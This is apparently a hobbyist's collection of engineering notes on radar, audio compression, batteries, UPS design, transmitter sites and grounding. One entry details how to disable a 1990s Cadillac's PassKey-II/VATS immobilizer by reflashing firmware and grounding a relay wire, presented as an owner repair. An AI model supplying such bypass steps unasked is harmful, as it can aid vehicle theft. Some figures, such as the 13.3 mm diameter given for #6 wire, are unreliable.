RADAR Types and Locations

RADAR in the United States.

National defense and surveillance RADAR: https://en.wikipedia.org/wiki/Joint_Surveillance_System#Radar_stations
NOAA Weather RADAR: https://en.wikipedia.org/wiki/NEXRAD#Operational_locations
Terminal Doppler Weather RADAR, at airports: http://www.wispa.org/Resources/Industry-Resources/TDWR-Resources/TDWR-Locations-and-Frequencies
Wind Profilers use a UHF frequency in the 70cm amateur radio band, which is described to be unmodulated (zero bandwidth) and transmitted directly up to detect wind shear conditions: https://en.wikipedia.org/wiki/Wind_profiler NOAA coordinates frequencies under NTIA and may not disclose locations. A wind profiler at airport KHSV was announced some number of years ago but the frequency was not disclosed. 449 MHz has been published elsewhere.
https://www.esrl.noaa.gov/psd/technology/tars/ https://en.wikipedia.org/wiki/Tethered_Aerostat_Radar_System#Technical_and_operational_data

FCC ULS provides information on the following types:

AR: Aviation Radiolocation [Aviation RADAR, on-aircraft]
LN: 902-928 MHz Location Narrowband (non-multilateration)
LS: Location and Monitoring Service (LMS), multilateration
LW: 902-928 MHz Location Wideband (grandfathered AVM)
MR: Marine Radiolocation Land [Ship RADAR]
RS: Land Mobile Radiolocation ["Police" and other low-power (5 W) mobile/temporarily fixed licensed RADAR, as well as high-power (220W TXPO but 225 kW ERP) TV weather RADAR]
WR: Microwave Radiolocation

Additionally, there are low-power unlicensed RADARs on 10 GHz (X-band) and Ku (13.45 GHz) as well as Ka bands (24.0-24.05 GHz).

Fasteners, Vibration, and Locknuts

Compressor Smashing


How to Mash the Compressor

VLC contains a built-in audio compressor. This can be taken advantage of for spoken word material and for movies, in the case where you need to reduce the dynamic range of the material due to a loud environment, or compress the peaks above a certain point to prevent excessive loudness.

Audio Effects -> Compressor
 - Check Enable
 - RMS / Peak: 0.0
 - Attack: 1.5 ms or as fast as it will go
 - Release: 2 ms or user option as to release time
 - Threshold: -24 dB
 - Ratio: maximum (20:1)
 - Knee: maximum (10:1)
 - Makeup gain: 24 dB

Note that adjusting threshold will put the compressor into action earlier and limit the output amplitude of the compressor; the makeup gain is directly related to this number to flatten out the overall amplitude of the compressor output.

Adjusting the attack and release introduces various effects and depending on time constant, can make aspects of the audio stream "pump". This is not a desired effect. Multiband dynamics processing in radio stations avoids pumping effects in the bass region if at all possible.


Birdwatcher is a word which has mostly avoided the internet generation entirely. Birdwatcher is an automated telemetry system with two pilot inputs, an A button and and a B button, and the rest of the inputs were specific telemetry inputs on the aircraft. The A-12 had a Birdwatcher system, as well as the CIA version of the U-2. Both of these aircraft or similar variants (U-2S, SR-71) were transferred to the 9th SRW, 4080th, and other related divisions.

Birdwatcher also involved a time-division aspect to the received signal. A physical measuring apparatus is used to determine the source module of the telemetry burst from a strip-chart recorder.

For more information, look to the dead trees.



pdftops filter failed

If you're reading this, you probably have a problem with Cups and pdftops failing. Install xpdf and some version of libpoppler. This is an unresolved dependency.

Terminal Gibberish

When your terminal is liberally filled with terminal gibberish, there are a few solutions suggested on stackexchange:


I suggest this:

echo ^V^[c

Alternatively (noobish):

echo <CTRL-V><CTRL-[>c

The actual character being echoed is ^[ followed by the letter c, but to pass control-[. one must type CTRL-V before other CTRL- sequences. Clear as mud, eh?

Thermodynamics or Thermonuclear War

Law I: You can't win, you can only lose.
Law II: The only way to win is not to play.

In thermodynamics and energy conversion systems, the rules of thermodynamics are immutable. The only variables to implementation are 1) cost of design, 2) labor cost of design implementation, and 3) materials cost of design implementation. These variables all support one equation to calculate a single value: return on investment (ROI), less maintenance cost.

In converting from AC to DC or DC to DC, the fewer the steps, the greater the efficiency. The more transistors act like switches and less like variable resistors, the higher the efficiency. The lower the loss in the transformer or inductor stages, the greater the efficiency. A 90% (0.9) efficient inverter connected in series with another 90% (0.9) efficient inverter results in an overall efficiency of (0.9 x 0.9 = 0.81) 81%. Thus it is most important to make sure that any conversation stage is as efficient as possible to eliminate losses which will invariably appear as heat. This is true of electrical distribution systems, backup power supplies, line-shaft power systems, and belt-powered systems as well.

In a belt-based transmission system, losses can be as high as 5% per stage. Similarly, gear-based transmission systems and hydraulic systems also suffer from losses due to realistic implementation concerns. Multiple stages, lubricants or lack thereof, and turbulence further lower overall efficiency. Thus, while it may be possible to store energy from a solar collector by raising a rail car full of concrete to twice it's height, much energy may be wasted in mechanical gear trains unless a mechanically large gear is used and a small pinion. Even then, one would need a considerable motor/generator to convert from electrical to mechanical.

AT&T Tower Resources

Free Rigging Guides

AM Tower Heights by Frequency


This is a document apparently originating from ERI, Inc, being circulated around the internet on various blogs and sites. AM tower heights listed by frequency for 1/4-wave and 1/2-wave lengths, in feet and meters.

The All-Pass Audio Filter



The All-Pass Audio Filter is useful for a few reasons:

1) Symmetry of the audio. The human voice is often not symmetrical, and depending on the signaling circuits or transmitter design, it is desirable to limit any sort of inherent DC bias in the transmitted signal. This is an issue for AM and FM transmitters, as well as twisted-pair loops carrying voice communications.

2) Phase correction. The allpass network permits a correction of frequency-dependent phase rotation caused by preceding or following signal processing stages.

In digital signalling networks, these problems are addressed by line coding. The methods of AMI and B8ZS are used in telephony signalling to eliminate a DC bias which would compromise the wire loops and contribute to additional cross-talk coupling, as well as permit the signal to be AC coupled onto a line carrying DC power at -48 VDC or -130 VDC.

Similarly, AX.25 uses Non-return-to-zero inverted (NRZI) to mitigate a similar protocol-based DC bias which would otherwise result from the nature of the data packets. Ethernet relies on 8b/10b encoding in slower forms, and 64b/66b encoding in faster forms to neutralize DC bias as well.

A Compact N-Gauge Model Railroad Using Helical Storage

At the moment, this exists as a series of drawings on paper, so this will be a verbose "patent-style" description.

The design is a multi-level dogbone layout, flanked with helical double-track towers on either side which are integrated into the layout route. This permits the middle to support a bench or "desktop" scene in the vertical middle of the entire assembly, multiple flat single or double track "storage racks" connecting from helix to helix from floor level to the top of the entire layout. At the top, it may be desirable to include a multi-track storage yard without adornment. The scene in the middle has the possibility of being multi-level as well, with as many layers as the builder desires in the primary scene. The lower storage compartment should be protected with polycarbonate sheet to prevent accidental contact with locomotives and rolling stock, as well as to maintain a visual sight line with moving trains (consists).

Primary problems to be solved by the implementer are:

  • Power control and routing
  • "Parking" on the flat surfaces.
  • Most of the trackage in the layout design will be installed in the helix, which at a 2% grade, will require a solid mechanical stop to support the train in the helix.
  • Motive power requirements to lift trains through the layout and helixes. This translates directly into more locomotives, higher loads, and high quality locomotives that use both trucks for collecting DC power and delivering torque.

Advantages of this design are that the helixes can be interfaced on the front side or the back side, and the grade differential per level permits interstitial scenes such as a hump yard. One would need to frame or box the area below the upper scene, but this space can be used for mounting lighting to the scene below.

The helixes can be configured in a 1:1 fashion, or crossover at the bottom. They can be built as a left-hand helix and a right-hand helix, or both sides constructed of the same alignment helix. It may be desirable to avoid same-level rail crossings for unattended operation, or operation without intervention.

Minimum radius should be approximately 15", with the twin tracks centered at 1.5" apart. This permits the helix to occupy a space of approximately 36" x 36". It may be desirable to extend the helixes by using a 6" straight section of track or replacing that straight section with a turnout (switch) or using curved turnouts. Since there are two tracks, the inner helix would likely be uninterrupted and provide a path from the bottom to the top for a "long route" unless a block system or interlocking are provided for and a crossing installed in the outer helix track.

As an ordinary bench may be 36" deep, it would be desirable to make the entire structure as wide as possible, say ten or twelve feet, because three feet per side will be used by the helix for a total of six feet of non-layout space. This limits the center scene to four or six feet, which may be sufficient or excessively limiting to some modelers. 

Battery Power Systems Design

Battery-powered systems are necessarily complex for three reasons: charging, discharging, and heat management. In the world of lithium batteries, this is primarily managed by the BMS, or battery management system.

Panasonic gives excellent battery management advice for dealing with NiCd and NiMH types and the advice is applicable to SLA, VRRH, and other lead-acid battery configurations as well.  http://www.repeater-builder.com/backup-power/pdfs/panasonic-ni-mh-battery-handbook.pdf

Battery heater:  https://www.amazon.com/dp/B000I8XDAS

This is a battery heater, which is a necessity in Alaska. The catch with battery management is always keeping them cool when it is warm out, and keeping them warm when it is cool out. The fact that they are primarily lead and have a large amount of thermal mass does not always help. Obviously, passive methods of cooling are good but have to be custom-designed for the application. In the case of NiMH batteries, high temperature at the end of charging is a normal by-product of charging, but should be managed to prevent damage to the cells.

Charging should be structured to state of charge, particularly making sure that each individual battery is charged to it's proper voltage. Strings of batteries mitigate the effects of a shorted cell by minimizing the resulting overcharge voltage. However, a battery going into an open-cell or high-resistance state causes all batteries to be effectively disconnected from the charger or load, rendering a larger capacity of batteries unusable. I recommend that a three-bus approach be used, where battery packs are attached to a load bus using ZVS or other style of buck-boost converter or switch, a charger connected to that load bus, and the battery under charge isolated from the load bus and connected to the charging bus when under charge. This permits a rotating "once a week" charge of each pack, even if the power is out, with a terminal behavior of removing packs from the discharge set as packs are charged for the last time. This way, as few cells as possible are "killed" by being left in an uncharged state unless the load dictates such. Entropy: you can't avoid it.

Discharge should be figured to the chemistry of battery as well. In the case of NiCd and NiMH chemistries, a terminal voltage of 1.0 or 1.1 V per cell may be the lowest that should be permitted. In the case of 12V VRRH or SLA batteries, a terminal voltage of 10.5 or 10.8 volts should be used depending on the current being drawn and the resistance of the wires between the batteries and the load. Once a battery is discharged, it should be recharged as soon as feasible or possible to prevent effective battery death.

Temperature management has two extremes: cold and heat. Even those are relative to the environment of the battery depending on the location of the system in the world. Death Valley regularly has extreme temperatures exceeding 120 degrees F, and the American South may see 90-100 degree F temperatures during a typical summer. Likewise, low temperature extremes are more likely in certain areas than others. These factors shape the design and implementation of a battery thermal management system.

Heat pipes and solid/liquid metal (gallium, indium) cooling systems may be used as pack temperatures approach 90 to 100 degrees F. However, these systems have to be designed not to operate if temperatures are cooler than 70 degrees F as battery capacity starts dropping off below 65 degrees F. Paradoxically, many battery chemistries tend to generate heat as they are discharged which is a benefit to low external temperatures but a caveat when external temperatures are warmer. However, heat-pipe systems may be made of any number of materials, and have correspondingly different behaviors depending on the substances involved. For instance, propane boils at -43.6 degrees F (-42 degrees C), which means it can act as a vapor-phase cooling system if one end of the system is compressed to a liquid state. Likewise, the temperature of the system can be held to a constant as long as a liquid is boiling into a gas state, such as a pot on a stove full of water. This is how a double-boiler manages effective temperature control. In the case of using water, the temperature of the water must not be allowed to drop below 33 degrees F or ice crystals can form at extremes.

Additionally, geothermal contact may be involved in temperature management, using loops of electronegatively inactive, grounded, non-oxidizing metals in well casing, or direct contact with rock outcrops or burial below the soil surface. Depending on the materials involved, these systems can be efficient and/or maintenance free or require periodic maintenance to renew materials or sacrificial anodes. 

In the case of an outside temperature below 55-degrees F, the outside air temperature is lower than the temperature of the ground, which makes contact with ground a good thing. In the case of an outside temperature above 55-degrees, contact with the ground is not desirable because battery capacity decreases rapidly below 65-degrees F.

The other layer of complexity to battery management is that of corrosion. Chemicals in batteries can corrode various metals to different degrees, and it is desirable to prevent some metals from reacting with some electrolytes. Further, some batteries require venting, which may be implemented simply using fans or by using aquarium tubing in others. In general, one should assume that batteries will eventually fail, and in the case of SLA, VRRH, and lead-acid batteries, that either hydrogen and oxygen gas will be vented, or sulfuric acid will be vented or drain into the enclosure. Any nearby electronics will be damaged by the gasses from the batteries.

Yet another area of concern would be the degree to which small rodents of the area find the battery box to be habitable in any and all states of weather.

Another complexity is that batteries should not be placed in parallel unfused lest a battery develop a shorted cell, or several cell failures following a shorted cell. When a 90 Ah battery is rated for 2,000 amps into a dead short, one can be certain that a battery failure will result in the venting of charging gasses and electrolyte fumes while the good battery forces power into the dying battery.

Additionally, serviceable battery types should be serviced on a periodic basis, with distilled water added as appropriate and electrolyte when necessary. Serviceable batteries should be vented and humidity levels managed. Non-serviceable batteries should have discharge and charge rates limited to prevent cell over-temperature or over-pressure.

Marti Audio Performance

Marti makes wideband FM remote broadcast equipment. These are some specifications gleaned from product manuals or sales literature:

sub-audible tone encoder (27Hz, other equipment uses tones at 25, 35, 50, and/or 75 Hz and sometimes in combinations). 
FM compressor/limiter (usually a necessary part of preventing splatter, over-deviation, and excessive occupied bandwidth. Marti may have implemented it as a high-speed limiter or brickwall low-pass filter).
2:1 compander option (These are useful if you have highly dynamic content, but it is required at both ends to be effective. Telephone audio is often compandered; it is the difference between A-law and mu-law signalling. https://en.wikipedia.org/wiki/G.711 https://en.wikipedia.org/wiki/Companding )
Receive Bandwidth: 20-50 KHz, depending on selected frequencies
Deviation: 1.5, 5.0, 7.5 or 10.0 kHz depending upon frequency and filter

Frequency Response:
50 Hz to 3 kHz: ±1.5 dB, 10 kHz Channel BW, 1.5 kHz Dev, 20 kHz filter
50 Hz to 7.5 kHz: ± 1.5 dB, 25 kHz Channel BW, 5.0 kHz Dev, 25 kHz filter
50 Hz to 10.5 kHz: ± 1.5 dB, 36 kHz Channel BW, 7.5 kHz Dev, 36 kHz filter
50 Hz to 10.5 kHz: ± 1.5 dB, 41 kHz Channel BW, 10.0 kHz Dev, 50 kHz filter
S/N Ratio @ 100 µV Input:
10 kHz BW @ 1.5 kHz Dev: 44 dB
25 kHz BW @ 5.0 kHz Dev: 53 dB
36 kHz BW @ 7.5 kHz Dev: 57 dB
50 kHz BW @ 10.0 kHz Dev: 57 dB
THD + Noise:
10 kHz BW @ 1.5 kHz Dev: 2% or less, 50 Hz to 3 kHz
25 kHz BW @ 5.0 kHz Dev: 2% or less, 50 Hz to 7.5 kHz
36 kHz BW @ 7.5 kHz Dev: 2% or less, 50 Hz to 10.5 kHz
50 kHz BW @ 10.0 kHz Dev: 2% or less, 50 Hz to 10.5 kHz
IMD (For 20 dB Signal-to-Noise): 75 dB
Image Rejection: 100 dB

Notably, the Marti doubles the standard deviation of +/- 5 KHz FM radio to 10 KHz. This is because broadcast needs more "headroom"; some NYC STL remotes were used at 200 KHz deviation for 20 KHz audio simply to spread the signal over more spectrum to achieve a greater signal-to-noise ratio. This is the same as process gain in spread-spectrum communications, because "line spectra" -- that is, unmodulated carriers present in the received spectrum -- have less of an individual effect in the recovered audio. A better way to avoid such effects is to switch to a digital format with an acceptable CRC, FEC, or other Error Correcting Code (ECC) to mitigate the errors while using a spectrally dense mode such as QAM256 (8-bits per symbol or baud).  However, the problem with QAM is that one must be able to tell where the bottom of the S/N ratio is, and adjust the range of power dynamically, as well as the upper limits of power. Transmitter power tends to follow a cube-square law in terms of cost per watt, in dB. QAM also requires linear amplifiers, which increases power inefficiency and dissipation.

Durable Transmitter Plant Design

In a modern transmitter plant, whether broadcast AM, FM, TV, paging, or repeater, a circulator is a valuable part of the installation and often omitted to save costs. The circulator, in combination with SWR bridges, enables a site manager to keep the transmitter on the air during difficulty, as well as prevent minor issues from becoming large ones.

A circulator is valuable for two important reasons. First, a circulator assures that the transmitter will always see a 50-ohm match, within a few percent of that impedance. Second, the circulator prevents mixing products from being generated as a result of rectification and amplification in the last stage of the amplifier. Any amplifier designed to operate as a broadband device is subject to this noise generating effect. The circulator acts to insure the investment in transmitter plant, at the cost of the feedline and antenna in the event of fault.

In the case of lightning and other associated arc-over events in the coax, the SWR bridge provides useful feedback to the transmitter plant controller to temporarily cease transmitting, and/or lower and ramp up transmitter output. For instance, combining these functions with flow and pressure monitoring of the dry nitrogen or dry air being fed into the feedline can immediately identify the cause of failure, and shift the source of pressurization into a higher-flow mode or to a more plentiful source such as an air dryer rather than bottled gas. If dry air is used as the source, or excessive gas flow is noted, the transmitter power can be backed down since the air-dielectric insulation will no longer be as strong or effective as it was when it was dry nitrogen under a few pounds of pressure.

A self-diagnosing transmitter needs four SWR bridges. One SWR bridge should be installed between the transmitter and the circulator, another bridge between the circulator and the feedline, yet another bridge located between the feedline and antenna (equipped with high-voltage clamping diodes), and the fourth bridge sampling the RF to the circulator dummy load.

Useful temperature monitoring points are outside air temperature, temperature at the feedline-antenna junction, the middle of the feedline, the bottom of the feedline, the circulator temperature, the circulator dummy load temperature, the transmitter output temperature, the transmitter input temperature, generator input temperature, generator output temperature, generator body temperature, battery temperature, day-tank and storage tank temperature

If the RF is getting to the antenna and you have a bad match, then the antenna is the problem. If the transmitter has a bad match at the ground, then the feedline and/or antenna are compromised. If transmitter isn't making enough RF into a good match, then the transmitter is experiencing internal problems. The circulator lets you deal with bad stuff happening after it, at the cost of continuing whatever arc welding is presently happening in the feedline without extensive monitoring. The feedline is a great heatsink, so if it gets warmer than the outside air, that is an indicator that something is wrong. A fault at the antenna or in the feedline that is noticed can be mitigated by dropping the RF power level, which keeps the station on the air but may not cover as much contour or footprint on the ground. According to the FCC Parts, the engineer would have to file an STA in the case of a broadcast transmitter but it is not turning $100K of feedline into expensive, oxidized scrap.

There is a caveat to this concept: the failure of a single antenna bay in a four-element or larger array may result in a noticeable rise in SWR which, depending on the transmitter power level, may not constitute an alarm. For instance, a 1.5:1 match may be typical of a cheap antenna for a 100 to 200 watt transmitter. In a four-bay "ring dipole", this SWR may be indicative of a single bay failure. In the northern parts of the world, ice accumulation may result in antenna detuning by adding additional capacitance to the antenna. The effect compares to slug tuning an antenna with a block of PTFE. It is therefore important to keep a record of the system SWR response. Regard variations from initial install with careful suspicion, and balance the cost of the tower climber for testing with the cost of replacing the antenna. Additional factors are possible loss in revenue for replacement or inability to transmit, plus filing fees for a "silent" STA.

Other noteable points of protection inside the shelter and around it:
1. A water shield should be placed over the transmitter to prevent water ingress in the event of roof or other failure. This is largely dependent on electrical codes, but can be the difference between rebuilding a transmitter and resetting one that tripped off.

2. The air conditioner drain line should be fitted with a float switch. For example:


In the event of the switch being tripped, an engineer should be dispatched to the site. To resolve possible false trips, three switches can be placed in physical parallel with each other on the same level, and the combined or individual switches fed into the site controller. If two or three switches trip, one can safely assume that there is an irregularity in the air conditioning drain system.

Depending on the climate and likelihood of entry, the air conditioner drain line should be fitting with a screen, or a series of increasingly smaller screens. Insects and rodents may enter the drain line and nest in the drain line, causing a blockage for liquids. Additionally, molds and fungi may form in the drain liquid and introduce turbulence in the drain line as well.

UPS Battery Management

Over the years, I've looked at a lot of UPSes and battery-backed power systems. These are my recommendations for power systems where backup is desired, or "clean power" is needed.

1. A 48 VDC sine wave inverter in the 1500 - 2200 - 3000 VA class with a low-voltage shutdown feature
2. a battery bank larger than 25 Ah at 48VDC
3. (2) Schottky diodes large enough to handle the maximum current the inverter can sink, rated for 60VDC
4. A battery charger capable of reaching the equalization voltage (14.4x4), but not used for equalizing.
5. (6) fuses: one from the batteries to the load, one from the batteries to the charger, and four connecting the batteries to each other. 
6. 1F worth of super caps at 60VDC.

The preferred embodiment is such that the charger is connected to the battery pack through a fuse, and the battery pack connected to the anode of the series protection diode through a fuse. The cathode of the diode is connected to the cathode of another diode as well as the positive terminal of the series of supercaps. The anode of the second diode connects to ground, so that any counter-emf current is clamped.

If an APC SmartUPS 2200VA or 3000VA is substituted for the inverter, the supercaps will simulate a battery for the purposes of the UPS's charge and self-test cycles, along with providing a power bypass in the case of restored utility power, or generator power that matches the expectations of the UPS. The batteries may be automatically charged to "full" (13.8x4) once a week by the charger and allowed to float down the remaining six days, unless a UPS self-test cycle occurs. If the battery bank is in the 50+ Ah range at 48V, the effects of the self-test cycles can be ignored.

The advantage of this implementation is that smaller power supplies can be used to put a fraction of the total power required into the battery pack, which can slow the rate of energy reserve depletion. In the first implementation, a 3000 VA (output) power supply made up of four 750 VA modules was used, allowing four 1000VA car inverters to be used to power individual sections or combinations. Additionally, the entire power supply could be used to clean up "dirty power" since the power supply sections were universal can could run from 100 to 250 VAC. More recently built power supplies may also support 380VDC inputs, as the peak-to-peak voltage of 240VAC is 339 V.

The reason for the recommendations are many, and it's mostly addressing the issues present in the APC UPS products.

1) The batteries are severely taxed by the charging, discharging, and self-test cycles of the UPS. The reason why APC's warranty is so short and the cost of replacement so high is that the battery manufacturer will not warranty the batteries, period. You cannot reasonably expect a 7Ah battery to regularly withstand cycles of 30+ A loads being attached and then recovering.

2) The above manifesting in battery failure, it is not unusual for a single cell to short, resulting in the entire chain going up in voltage spread across the remaining cell. Large numbers of batteries in packs mitigates a shorted cell failure very effectively in this way.

3) Individual cell voltages will change over time. In the case of 12V lead-acid batteries, the smallest units are six-cell groups of 12V, so you are stuck with this basic commodity. The voltages in cell differences can add up over time and groups, resulting in less than favorable life expectancy.

4) Cooked, swollen, or leaking batteries do not a happy funtime for electronics make.

On the Care of Batteries:

1) If possible, discharge individually and charge the batteries in parallel or independently. There are limits to this, one gets into the thousands of amps quickly at 1.2VDC for NiMH and NiCd chemistries, or 2.0V when dealing with lead-acid.

2) Charge once a week, don't float batteries. That's old hat. This advice best matches chemistries with high temperatures at the end of charging and high self-discharge, such as NiMH. No surprise, I learned it from the Panasonic NiMH Battery Handbook.

3) If you're using LiPos, use a BMS. LiPos are very much their own animal and the chief reason for letting the battery voltage be what the battery voltage will be and the load voltage being something else entirely (i.e.: 13.8VDC, 120VAC).

4) Not too cold: Batteries will warm due to resistance during discharging events. However, current available will be limited if the batteries are below 60 degrees F.

5) Not too warm: Batteries should not be charged above 100 degrees F unless the manufacturer has provided you with special guidance. More of an issue for people in the American Southwest, freshly discharged batteries, or large packs of NiMH batteries.

6) Control the rate of recharge: It's not a good idea just to dump 1000A into the battery bank after a 1000A discharge unless they are rated for that charging rate. Usually not more than 1/10 C for lead-acid batteries. NiMH and NiCd have different requirements during charging due to specific cell behavior.

7) It's not if batteries fail, it is when. Always assume that they will leak at the most inopportune time and cause the most possible damage at that time. If you put batteries in the same cabinet with the electronics, when the batteries fail, the electronics will corrode in the gasses. It is best to put batteries in a separate, ventilated enclosure away from expensive electronics. NiMH, NiCd, and lead-acid batteries give off different corrosive vapors that are not compatible with each other. These chemistries should be separated from each other. In the case of flooded or other unsealed lead-acid batteries, a spill kit should be nearby, along with a source of distilled water for regular topping of batteries. A battery box or tray should be able to contain any electrolyte that might spill from a broken battery and resistant to the chemicals used in the electrolyte.

This is a lot of information, but applied correctly will result in a backup power plant that achieves or exceeds the warranty of the batteries.

In the case of a large battery plant, it may be desirable to break the plant into battery strings, and individually switch those strings to the load bus, or a charging bus as needed to equalize charging intervals. This can be done with Schottky diodes and MOSFETs in today's world without too much cost since the MOSFETs are either on or off, and the MOSFET's body diode can perform the function of a one-way diode. On the other hand, the MOSFET's body diode may require the use of additional Schottky diodes to prevent the reverse flow of current. Schottky diodes are fast diodes, while the MOSFET's body diode is not known for fast recovery times however that should not be a factor for the reader unless there are large inductances present in the implementation.

Disable PassKey-II on Cadillac Fleetwood

I was recently introduced to a 94-96 Cadillac Fleetwood, which had a VATS fault which was aggravating the owner. The owner previously tried permanently installing resistors under the dash to allow the VATS system to read a correct resistance value, but for some reason that fix was no longer the cure.These are the steps taken the effectively neutralize the VATS/Passkey system on a 1995 Cadillac Fleetwood that was built in 08/1994 but had a 1995 VIN, and OBD-I. 1995 was the changeover year for the Fleetwood (D-body) to go from OBD-I to OBD-II, so depending on when the car was constructed, it may be of either type.

1) Use C.A.T.S. Flash to download the firmware from the car, twice to assure a proper read.
2) Disable VATS functionality from the car firmware.
3) Upload the firmware to the car.
4) Download the firmware from the car again to verify that the VATS function is disabled.

At this point in the process, the Powertrain Control Module (PCM) no longer monitors or acts on the signals from the Central Control Module (CCM) regarding fuel pump enable. Fuel Pump Enable is a "modulated signal wire", so tying the line to +5V or logic ground will not enable the pump. The service manual contains a simulated oscilloscope trace of a 50% duty cycle square wave. I did not take the time to verify the signal since it was outside of the scope of work (narrowly defined as "Bypass this b**** so I can get to work, homie!").

A core feature of the 1994/1995 LT1 corporate motor implementation present in the Chevy Camaro, Caprice, Impala SS, Buick Roadmaster, and Cadillac Fleetwood is that the fuel pump, injectors, and ignition coil are all under the control of the PCM, while the starter motor is controlled by the ignition switch alone. This means that it is possible to continue cranking the engine until the point of battery failure while the PCM has withheld spark, fuel, or both. Diagnostics of the system approaches ritualistic.

1) When the ignition switch is turned to ON, the fuel pump should run for a few seconds. Even if the fuel pump is weak, this is a good sign that fuel is present in the fuel rail and the PCM has an intent to start so far.
2) Battery voltage should remain above 8 V while cranking.
3) The PCM supplies both fuel (via injectors) and spark.
4) The spark plug gap is 0.050", and the ignition coil can deliver a healthy spark into almost anything -- including you. Use caution in verifying that sparks are being generated. A spare plug wire can connect to the top of the ignition coil and be held above ground to bypass the Optispark distributor.
5) Immediately after a cranking attempt without the engine firing, the odor of gasoline should be notable from the exhaust. Please remember not to smoke in an explosive environment such as unburned exhaust fumes.

The Cadillac Fleetwood further confounds this process because of two additional modules present in few cars. One of those modules is the Theft Deterrent Module (TDM), which receives key fob commands and responds, as well as controlling the horn and lights to create the panic alarm. This module is occasionally found in Buick Roadmasters and Chevy Impalas. Despite the name, the TDM has little to do with actually inhibiting the starting of the vehicle. The other module is the Central Control Module (CCM), which implements most of the functionality present in the Fleetwood's environmental, entertainment, and other systems present only in that car and not shared with many other cars of the model year. The CCM implements the actual checking of the PassKey-II resistor, and controls the Theft Deterrent Relay (TDR).

The Theft Deterrent Relay (TDR) is located on the cabin side of the firewall directly in front of the passenger seat under the dash. Gymnastics may be required to reach this area, so the TDR was left in factory configuration. The TDR is effectively in series with the starter solenoid, but only receives power when the ignition switch is set to START. The control wire for the TDR is Yellow/Black in the 1995 model year, and this wire color is present in the trunk at the CCM.

The Central Control Module (CCM) mounts vertically behind the middle of the backseat and has two connectors along the driver's side: C1 (upper), and C2 (lower). The wire that controls the TDR connects to position D13 of C2. D13 appears to be on the bottom of the connector, if the clamp is located on the top of the connector. The following should be observed as a guide:

D13: Yellow-Black
D14: Light Green
D16: Dark Green-White

Wire D13 can be cut and spliced to a wire connecting to a nearby bolt or self-tapping metal screw and star washer to the body of the car, which completes the ground circuit. This disables what little control the PassKey-II System has to prevent the car from cranking. It is worth noting that the PCM has most of the control of the cranking process, and if the TDR were bypassed (such as holding the starter solenoid down with a screwdriver), the car would likely start. A simple way to test if this change worked is to disconnect the CCM entirely, and attempt to start the car. If the starter solenoid or motor engages, the fix is effective. Then the CCM can be reconnected and the interior reinstalled in the trunk. 

Steel Wire Instead

In electrical applications, it's not unusual to spend a large amount of money acquiring and installing copper wire, or when that is too expensive, changing to a larger gauge or two and using aluminum wire. Sometimes the cost of aluminum wire is still significant, or there are special needs or reasons as to why steel wire may be favored, such as long spans. Long spans of unsupported wire are often seen in antenna applications as well as power distribution. These spans are typically above 125 feet in height, which is roughly the limit for timber which supplies wooden poles used to support such wires from the ground without impacting the antenna pattern.

From a historical text (free on Google Books, so likely well before 1950):

Example: A cable 3/8"-inch in diameter, made of 7 strands of high strength crucible steel, weighs approximately 295 lbs. per 1000 ft. and breaks under a load of 11,500 lbs. Calculate the actual cross sectional area from the fact that steels weights 490 lbs. per cubic foot; then find the resistance per mile, the ohms per circular mil foot being 115. The volume of 1000 ft. = 295/490 = 0.602 cu. ft., hence the cross section = 0.602/1000 = 0.000602 sq. ft. This equals 0.000602 x 144 or 0.0867 sq. in., which equals 86,700 sq. mils and 86,700 / 0.785, or 110,300 C. M. Resistance per mile = 115 x 5,280/110,300 = 5.5 ohms.

(Journal of Electricity, Jan 1, 1921, p. 30.) https://books.google.com/books?id=-uZBAQAAMAAJ&pg=PA30&lpg=PA30#v=onepage&q&f=false

3/8" is between 00 and 000 gauge, so one can see that this is still a large wire for any application used, and being larger than #6, satisfies NEC requirements for power distribution wire sizes.

#6: 0.162" or 13.3 mm diameter for solid rod wire.

Probably just cheaper to buy the cable with the insulation on it, unless it's going outdoors and that's a lot of insulation.

Grounding: Copper Strap vs Structural Steel

In broadcast, multi-tenant, and microwave shelter design, it is desirable to prevent lightning from impacting operations. One way of doing this is by constructing a "halo" around the inside of the building at roof, wall, and/or floor-level or around the outside of the shelter of entire equipment installation.

The fundamental nature of lightning is that of an effective DC pulse channeled through a single point of contact. Because lightning is essentially a large DC pulse like a square wave with a trailing edge, low-frequency AC pulses are induced in nearby wires and radiated when lightning strikes. This is what produces the characteristic "slope" on a spectrum analyzer of a lightning strike.

Since lightning is a static charge equalizing through a single point, it is easy to see that equalization over an area is the desired result of the strike. A tree gets blown to smithereens, but the charge dissipates and equalizes over the area around the strike -- both above and below the point of contact. Using good conductors, the magnitude of voltage across a given area is minimized. This lowered difference in potential prevents large voltages from appearing across equipment.

By running ground strap across the inside walls of the shelter around the perimeter at the ceiling, middle of wall, and floor levels, the lightning is given a path around the equipment instead of through the equipment. This prevents damage as high-resistance points in the equipment won't result in arc flashover due to high voltage across those points. This is not a Faraday cage, but works in a similar fashion. By giving lightning an alternative path of low resistance and impedance, the vast majority of the current goes around rather than through.

NEC compliance confuses this point, because traditional RF grounding for lightning and power grounding are somewhat at odds. Military manuals and Motorola's guide to R25 installation help. In some cases, the halo ground system has been implemented with the power ground opposite the tower coax window / ground panel. This allows NEC compliance with respect to the power ground, while putting a ground rod at the tower base and connecting the two together via 0000 to 2 AWG copper conductors.

At this point, we will discuss the merits of a copper ground halo above equipment versus using building steel and steel bolts.

A 4" copper ground strap 0.022" thick has a total cross section of 0.088 square inches, equating to a little larger than the cross-section of 0 AWG copper wire. 0 AWG copper wire has a resistance of 0.1 ohms per 1,000 ft. Thus, 1,000 feet of 4" 0.022" thick copper strap has a resistance of nearly 0.1 ohms.

A carbon steel wire 0.5" in diameter has a resistance of 0.00034 ohms per foot, or roughly .34 ohms per 1,000 ft. Thus, three 1/2" diameter bolts are nearly equal to 4" 0.022" thick copper strap assuming no other losses.

This calculation does not factor for the resistance of zinc at steel-zinc-zinc-steel junctions. However, one can see that steel-on-steel contact under pressure, three or more (typically six) bolts are enough to allow the building steel to act as a halo, thus not requiring a copper halo be installed as long as the building steel is attached to the ground system.

1" diameter carbon steel has a resistance of 9.0 x 10^-5 ohms per foot or .09 ohms per 1kft, so one can see why big towers often are not connected together with ground straps from section to section but smaller towers are.

It would be preferable to have the building steel sections welded together, or jumpers cadwelded around each joint.

Bell Microwave Radio Reference

This is an attempt at an exhaustive list of Bell System Technical Journal articles on Long Lines microwave technologies.

Published February 4, 1948
First introduction of the horn antenna and add/drop RF hybrid duplexer

